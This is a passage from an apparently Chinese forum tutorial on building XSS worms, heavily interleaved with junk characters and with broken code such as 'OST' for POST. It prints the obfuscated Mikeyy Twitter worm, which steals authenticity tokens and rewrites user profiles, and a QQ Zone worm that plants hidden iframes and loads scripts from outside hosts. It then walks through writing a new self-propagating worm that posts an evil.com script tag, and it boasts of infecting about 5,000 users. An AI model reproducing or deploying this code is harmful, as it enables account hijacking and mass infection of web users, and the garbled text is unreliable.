+ M. s' F# |( q5 T. c- \! ?( e$ m+ {, L复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
$ y% G# D5 M' ~, r1 }1 g' S
4 x0 w7 X4 i4 dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
, a3 V- k. b. ?: a

+ Q3 `6 h9 L, j" W  a! E7 @, A
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

2 B3 P& c' n# q  v( U3 S) w, OXmlHttp.send(null);
/ J( p0 A: Y4 x2 a( f, W0 _% s
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
, `" f8 D  J1 o1 y- G# }+ k: _复制代码案例:Twitter 蠕蟲五度發威
8 i; L. T+ Q! V8 V* Y5 \第一版:
  下载 (5.1 KB)

6 N/ A' L  u+ D% q+ H6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

4 n4 l5 P- k- L7 C   2.   
! J$ `- `* }8 s% r" C$ M; g$ Q
   3. function XHConn(){  
/ W1 e# k  A( d9 d  u9 [. I' Z- q
1 H# p" Z2 @6 \3 [- u   4.   var _0x6687x2,_0x6687x3=false;  

8 G! G7 R6 ?5 u. R   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
4 h1 d- g6 j) H& L
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

- s* N* i$ I( g, `' I9 U0 j- q   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

5 b* z" h/ U% [! V* n   8.   catch(e) { _0x6687x2=false; }; }; };  
/ P$ L  ]- e8 j, s复制代码第六版:   1. function wait() {  

1 Y9 k/ g1 T/ o, r   2.   var content = document.documentElement.innerHTML;  
! G* E) {# M& \0 E! f3 a
. L4 I5 y' Z/ \$ z( S( J$ c  @9 Z   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
' g/ C) f3 K2 |
- Q. ^' h4 E) j   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
% i$ r: |/ M1 X  N/ R0 p
; s! d0 x1 s$ J! n  K" @   6.   var authtoken=authreg.exec(content);  
. J& B3 s  ^) |, z& W  Y
- X% @3 v: _' P: s   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
. {/ w9 n: p2 K( I
7 y! k, i1 \+ u; T' U   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

6 l  c2 z% B/ D2 U8 G! ^* k. h5 G  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
4 P+ o: X+ k' u) I! N7 M1 E
: p" L  {# }4 E9 N) p2 o  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
, a& Z% o: C0 ]( `1 a
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

/ a8 N2 [' p1 Z2 r6 C% n  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
* r; W& i! |1 f3 I; [5 }1 u0 {
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
9 S$ n1 B5 J* w2 ?7 c! a
' w  `8 Y+ K/ W" f) G( O1 `$ @% u$ n  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
- j! w5 S/ O  `/ S) ^
. I0 v& h3 F" M, P6 F9 `3 T7 @7 |# [  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
3 m9 q; J/ i9 Y7 A
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
# [/ x/ R' F: Z* J% y8 M* K
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
5 a4 S' [2 k% b5 {4 E/ e7 \
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
, [. R6 A: Z$ G; d. F9 H3 y* w
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

( A, |( y9 i9 S: s! Q2 d0 A  24.     
, b/ e9 D. @& P( V1 u2 f2 T/ y( |
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

6 w: f3 L) ~# z  27.     

  28.   var ajaxConn= new XHConn();  
+ m: y8 M; g$ U6 ^' e
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
; s# d+ d; p4 ]8 `- ~- k
+ O7 i, B6 C- k. X- T* X; l1 X  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
$ \/ i" ~- l5 l9 z/ A8 E
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
! \9 L, _& u4 s0 H5 W& u. t
0 a3 L7 {# t- X- b% K& \( u% C  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
0 T1 ^( L" n+ X6 T% X
4 t. R: l3 M$ Q- h  38.     

7 w9 G7 F& `! a2 M8 C- p  39. } ;  

# r8 G6 |% P1 K2 r  40. setTimeout(wait(),5250);  
! \* P6 H: X& [& V复制代码QQ空间XSSfunction killErrors() {return true;}
$ I/ U; C+ h) a% m4 S0 Z, o' ?2 H
window.onerror=killErrors;
4 a, u# C3 I7 D# d. R: J5 t


* |8 G3 R; l4 K4 z& i4 P7 o' E  ovar shendu;shendu=4;
3 E7 c& G0 e" |6 [$ {2 K
//---------------global---v------------------------------------------
: ^7 i2 _: K6 L4 I0 E
7 w& q; e7 E6 v, d5 f) \) r+ `+ A( [//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
# g' E. X/ E5 @1 N1 b% }
* l/ Q6 Q9 n0 f( U, H! Evar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

. K, I2 s8 O$ ovar myblogurl=new Array();var myblogid=new Array();

$ C# ]) P% J" d        var gurl=document.location.href;

* a7 U- O! O0 T" Y9 a1 ^: T        var gurle=gurl.indexOf("com/");

+ y" A8 M, B# R1 J: [- }        gurl=gurl.substring(0,gurle+3);        
0 q4 L% H9 T( I% Q
        var visitorID=top.document.documentElement.outerHTML;
$ r! v" ]9 K( J# ^
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
; d. U5 C  t1 H
        visitorID=visitorID.substring(cookieS+14);
3 P9 H0 U) f- u& |. m$ |
! b6 b% u: v5 d( ]' E+ |        cookieS=visitorID.indexOf(",");
0 R; N' a5 S* o9 f2 U
        visitorID=visitorID.substring(0,cookieS);
" k* Q" p; W+ ~4 G& u" k! V
        get_my_blog(visitorID);

% S9 U/ r5 g! k        DOshuamy();
- Q3 j9 m- _9 F0 _3 Z2 D& I


0 b4 {! w, i) b$ T8 d+ }//挂马
. ]: A% w, l- u
' t! j3 f: x2 P) pfunction DOshuamy(){
: b- Z4 r* r3 |. b& E
5 q. T6 t0 m0 E: |7 A3 Mvar ssr=document.getElementById("veryTitle");
% k5 g- B6 l. T, Q& @
6 }$ X7 `1 x  s0 x6 b# y% y3 Rssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
1 n- u5 R7 g" E6 J% I( S8 H- Z
: W# h  w9 P/ S; y2 G5 }3 ^}
1 G. h9 |8 D# h* l5 _9 f
6 C8 _1 c1 a) R( U
# _; o- d$ C* v% M# U$ k: ^
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

0 q8 X5 J/ }4 ?7 }0 {) t( f+ Lfunction get_my_blog(visitorID){

* l0 U# G1 @' `8 u" _   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

' o, c& T8 Q8 M, }5 Y   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

, v! [3 L# [2 [4 _     xhr.send();guest=xhr.responseText;
. U$ d; e+ B" G( r7 a( E
     get_my_blogurl(guest);    //执行这个函数
' U% ?; X% K$ R) H1 t
    }

}

% \, K1 U# h! ^/ r) c; d

//这里似乎是判断没有登录的
3 g) s6 J1 u  a0 Q* y
function get_my_blogurl(guest){

" W* S8 o  A' O3 E, N  var mybloglist=guest;

& O1 x8 `+ A& A9 q( V7 u& M  var myurls;var blogids;var blogide;
) ~" Q1 _6 N* Q0 i( |8 W$ I
  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

3 @6 O% |- X6 N& E     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
2 r" o8 t8 p7 R/ T5 }4 J
% r: x2 d0 z1 M         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
& J8 B4 q- m$ R/ h
' j/ O, F% T9 a9 ^9 R5 N0 V" E, D        }else{break;}

}

get_my_testself();    //执行这个函数
; \( Z. G* Y  _* u  i, H
1 [1 G$ e' `  l; ?" Q. U5 @}



, m% c' s3 n) _# f: T& Q//这里往哪跳就不知道了
; t5 o  f# ]! s& D" Z
function get_my_testself(){
: J9 y" n7 C, b8 H* t. \
& M7 b( ]5 S* B  for(i=0;i<myblogid.length;i++){    //获得blogid的值
: t6 \; i( [# f+ a  \
" ]+ o6 l5 ]+ t8 I      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
& D1 K" k5 j9 I) K, H5 J0 R) {( p
      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
4 c/ b9 a+ j8 ^0 L% H: ~' p
              guest2=xhr2.responseText;
+ a9 h* p$ N7 Q/ ]: g
/ I, g/ O0 B" G& {% G              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
& ?, N5 T: @4 t, l! S; a' z8 e
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
  m4 i+ K+ g$ J" I1 s8 j1 G' t
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

3 t; `# k* ]& G' m6 ?# b                targetblogurlid=myblogid;   

! ^* U- r5 Z3 q/ G8 N$ j                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }
, H4 g3 ~5 ~8 _% @! P# Z0 r
              if(mycheckit=="-1"){

+ d) m" Z  p0 i. }+ n" @                targetblogurlid=myblogid;
/ k" l0 j  C3 G% p$ z2 x2 R
6 I2 {% A9 w1 v( r2 }: a6 ~                add_js(visitorID,targetblogurlid,gurl);    //执行它
  ?8 H  ?2 n( p8 a% T( t
$ ~" ?( u* m0 M2 \: r1 I' G1 T                break;

6 `& {9 y) L% i# B+ K0 ?               }
/ a" ?+ H3 h; B. R0 Z* F1 @
5 h& f! ^3 J& o: q( c        }      

; G; L0 X7 d* k0 {3 f3 ?}

- S# F: U/ p& ]0 Q}



//--------------------------------------  
, I+ ^1 s% b0 v- j9 P& E' L* o
//根据浏览器创建一个XMLHttpRequest对象
$ O" ]9 P7 |) H6 v/ j1 N
% O( B) r) [; A/ D: ufunction createXMLHttpRequest(){

8 S+ N- Z" G1 R2 l3 u  d    var XMLhttpObject=null;  

% t0 j. u. E6 v& G0 ?6 f; T, t    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
* d* A  Z' j* B& g' X
    else  
4 q4 R9 z7 S9 N5 ^
! a4 L& U) T* `" N0 W      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
: E) K) H6 o4 G' g0 K" u: I
        for(var i=0;i<MSXML.length;i++)  
4 \8 c8 T" W; h6 w5 W! P5 a6 b3 N
# V* h: M4 c8 T9 M- v        {  

            try  

  F" K+ G/ {+ i$ J8 D5 C2 o1 O5 M            {  

# F: F8 w8 x% k" o% j# g                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
% H! M1 q5 N+ r2 V7 u3 s! O
            }  
5 V4 Z9 s/ {: S  @; _; P
            catch (ex) {  

4 v  `+ _  y! P            }  
, [) k) ?/ E# W% f9 i/ x$ V
  T) D- W( D0 m. e9 s. P         }  

      }

# H3 ]) s* e: G1 f3 Y. preturn XMLhttpObject;

: A; t4 u& V0 x7 l1 [+ J}  
  Y& g' [6 t, x% X0 {0 V


//这里就是感染部分了

" l* m. c% C4 `) Nfunction add_js(visitorID,targetblogurlid,gurl){
- Y6 H1 c& u" `) Q' ]. u
var s2=document.createElement('script');
5 `9 X9 r: b% q1 p
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
2 |2 R) ~% z% M9 p" S& R  C4 V
document.getElementsByTagName('head').item(0).appendChild(s2);

  `! I' C2 M- N: N( U}
5 S1 G8 f9 D- M: m6 m
' y8 g* X" x, W3 Q2 N
+ B6 w5 a; c8 F  Q' s
function add_jsdel(visitorID,targetblogurlid,gurl){
7 K" I2 `$ ]/ `$ o
var s2=document.createElement('script');
) F/ a. F' C! y$ T7 e
: L! d% N: ^5 A9 S: Os2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

5 a3 D9 A# s0 j; _, C+ ns2.type='text/javascript';
/ e6 T+ L% o, V
& E# {4 q9 B% V: F5 V! l: Vdocument.getElementsByTagName('head').item(0).appendChild(s2);
# P1 b1 {! {2 |* {" |) h
) Z  e  l- S3 P6 n1 V}
& B/ `- A) N6 H0 j6 K复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
. g6 E( t# A! t' I% B: o1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
: O7 U2 A( C: H8 x3 G6 [
' j0 C9 a7 ?* L$ u' ?2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
0 k( z5 S. p8 s7 x

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
' y1 l4 G8 _/ U, v3 V
首先,自然是判断不同浏览器,创建不同的对象var request = false;
/ }- z" u; M. ?* Z  c" z6 G
9 F9 e, X3 M+ r# L  Z, Kif(window.XMLHttpRequest) {
' V% {3 v/ F4 ]9 i
request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

8 ~+ L( J3 t9 l} else if(window.ActiveXObject) {

& W- I; ~  ]1 J* \: `7 }& |- x3 svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: `  t1 c+ G% ]* G% Q) h" L
9 v' H6 d" O! B; }( Z7 hfor(var i=0; i<versions.length; i++) {

try {

/ h) D% ?  T+ k$ Y- `request = new ActiveXObject(versions);

} catch(e) {}
" ]7 k- o" v: `0 W/ Z
& K; C  c; ?% {1 A}

}
  W7 `" c( w: B4 b; {/ `% [6 o
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
# o# ^# V$ L7 x" G$ _$ H4 j5 r
- P# f! T5 K) F/ z* w) L$ G5 r1 c; Q        var Browser_Name=navigator.appName;

2 \. x' U; k9 l6 L        var Browser_Version=parseFloat(navigator.appVersion);

2 O: x7 C! G3 Q. v2 l        var Browser_Agent=navigator.userAgent;

        
2 s& K9 I. h. L* b* i1 Q4 V: A
        var Actual_Version,Actual_Name;
8 N8 F  j5 P1 ^" ~- @7 j, W' R
" p: ]# Z7 g) W% x; U        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
# Q. R: \: K2 g1 R* b
6 C+ Y4 E+ R# k; E        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

1 F3 v# {( q5 G        
0 q7 L; c$ E* c9 l2 D( b) S
( P- ^& Z0 o# P; G% B4 ?        if(is_NN){

$ L. j! ~! Z5 F9 ^$ I. q* d2 I& ^, i            if(Browser_Version>=5.0){
8 _1 ?& s. d; @, f
                var Split_Sign=Browser_Agent.lastIndexOf("/");

- i7 v" W# q. [- b- v, z7 y                var Version=Browser_Agent.indexOf(" ",Split_Sign);
$ x4 o$ @% i) D
+ e& J$ M. B1 q; d                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
5 n. t& D6 c2 T, h& C! b/ P
% M$ a" z  U' i& `( Y  F8 L/ n                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

2 G9 D3 R- ~7 q            }

6 V3 U" z9 i1 M+ E" w3 ^            else{
% {# |3 N$ ~5 a; \) R4 d
                Actual_Version=Browser_Version;
3 u3 ^, x0 `- ^! `3 n5 t& e6 G' |
                Actual_Name=Browser_Name;

            }
# X, |) w5 K! Q1 m0 {" T* ^
        }
* m+ m* [. F( s( e3 Q" f
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

& z& A1 v1 `- e4 G+ S4 r            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' D. p2 t- a8 U; r- f# z            Actual_Name=Browser_Name;

* n1 Z2 ^9 Q8 a  ^/ U            

4 s. C8 n5 W/ R9 N2 u            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

; R4 K6 |; I5 t; W: U+ W            }
/ w% a: W- ~( m3 {) `# ?8 n! I- ^4 S
9 g& r. p4 G% ]            else if(Browser_Agent.indexOf("Opera")!=-1){
9 J' A. f, _: P9 g* t! V, P
                Actual_Name="Opera";
& Y3 s& x* C! k5 L' t
                var tempstart=Browser_Agent.indexOf("Opera");
* `/ [. J- J; O0 P' ^
                var tempend=Browser_Agent.length;

3 y) b) L3 l! W. e5 o                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
, w) r- C3 c$ w0 O) g
            }

        }

; G0 ?( d* Z1 d! D+ u        else if(is_Ch){

( ]& a' _* G7 Z* W            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
7 W' A& j' B9 Y
1 |. i, v3 Q* g# Q9 x0 J" v            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

/ G, _9 m+ d- u& F8 u9 D/ p& c5 \5 V5 Q            
# H1 d( K) g+ X8 w$ u
" o, e7 q6 Y, R$ M! F+ `) r) H            if(Browser_Agent.indexOf("Maxthon")!=-1){

: Z1 k* }9 C; e+ ?! v                Actual_Name+="(Maxthon)";

; V) ~6 r5 o  }$ |3 M3 k: y            }

+ N) }3 I9 s' U* A# M4 P            else if(Browser_Agent.indexOf("Opera")!=-1){
+ e1 o4 G+ Y9 F! ]8 Y. i7 I
8 P0 W/ M( }; p8 E8 U7 V4 |                Actual_Name="Opera";

* A4 n# G( w+ K# D' L7 g/ K                var tempstart=Browser_Agent.indexOf("Opera");
! i9 o; l( t, ~* }$ E
                var tempend=Browser_Agent.length;
, l% e2 m5 S* F, i# v' c
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

* [& G2 `- }' V+ K2 J1 q            }

        }

+ _) t0 b3 u7 v' T% z        else{
* P9 \4 A4 l* {( A0 N7 z, X. H
: Q1 N- G7 @; }2 e            Actual_Name="Unknown Navigator"
) s; j: V) r/ \+ E  l
; a1 @' q* y5 g" `$ M. s            Actual_Version="Unknown Version"

+ f- k# ~; D. ?: i        }
6 n! [; }. N) J7 ^) f

& i+ B) F0 C0 ^2 ~6 y
: M" r4 \9 |2 y7 n& z% W        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        
: |1 t8 l! y# U' r
1 x# U7 P5 L) \        this.Name=Actual_Name;
, M1 N5 Q( a  v
! ^$ v3 X- M0 d! Y9 O3 `        this.Version=Actual_Version;
+ Q- j( o2 x- C) [$ t
! P+ z6 p1 H1 T" r* D8 V5 W    }
2 M: I. e/ y) i: @: e, d
    browserinfo();

8 |" p' V4 ?7 ^2 d    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
5 R: E* [4 S* S6 k& ?
3 r2 l. }2 x7 M. ?* R' M+ u4 n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 y$ o4 M1 e( V
3 M7 G0 r) U  p- \2 B& ^- e    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
: x% c6 ?! U$ s复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
) l0 d: l" x: Z- \2 ^  K
xmlHttpReq.send(null);
4 y6 d+ h, o- N' J( V; E
* S  m( F/ y, }% ~8 Pvar resource = xmlHttpReq.responseText;

var id=0;var result;
/ X2 `) s' y8 i3 Q1 y& W/ r' ]
$ T! t- x- y/ h3 cvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
7 W# \$ T5 x7 j8 f# ^7 Z0 _; @
0 [- T8 |# p( `- X- [8 S6 Dwhile ((result = patt.exec(resource)) != null)  {
3 C5 a. h8 u# E3 ]+ r
( H3 X; w8 B- g( f$ P/ `id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
% D- j& ~' d8 Y, |9 F
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
$ n6 J% ~5 h6 ?( T4 n; Q8 q1 H
var post="wd="+wd;

8 s* H7 F6 G: [4 D8 p2 f, pxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

2 ]  S7 P, q+ c+ A$ j- z2 T4 zxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& g9 f* D2 k3 K, w) U5 a
% t8 e7 O% J; N1 s" N, C) w0 i% ]xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

, [, w: a' n. ~7 U; L8 h}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
; y% m) T, s& e( ]0 A
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
0 b; {* {- H. J/ |
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
$ @& L0 w& b# n: T: B. `  I
% v, ?0 d: M7 a  J8 E! k0 W+ |# vvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
+ U) S+ d9 i6 L6 ^) y
var post="wd="+wd;
! V' }- i+ n- f2 a( x( K2 n
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, Q2 y! y; X9 n" D  H$ P
xmlHttpReq.setRequestHeader("content-length",post.length);
4 i2 m. |" B: N+ U( @% K
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

, Z+ J$ |( S; p+ R$ Q5 axmlHttpReq.send(post);                 //把传播的信息 POST出去.
+ c$ F, z0 E& `' b2 b) ~
. E" O( l8 }1 J}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
# d4 D! u2 E/ J8 \7 k1 t
2 n/ V  D4 k# e. M( r! s

5 f+ w. a3 B( [7 ^* l本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

$ }) W8 ^/ _$ E* N* [# _






# Z5 ^/ Q- c3 e本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
, `1 k+ f9 y7 v$ a0 tOther XmlHttpRequest tricks (Amit Klein, January 2003)
# i4 x8 k: L+ h"Cross Site Tracing" (Jeremiah Grossman, January 2003)
) h# }9 L! K/ F1 {4 T  ?, h: s( W2 Chttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
6 B# D2 A; g! N9 f. c空虚浪子心BLOG http://www.inbreak.net
$ `' i; O4 g5 UXeye Team http://xeye.us/
' f$ j6 n% c$ ^0 J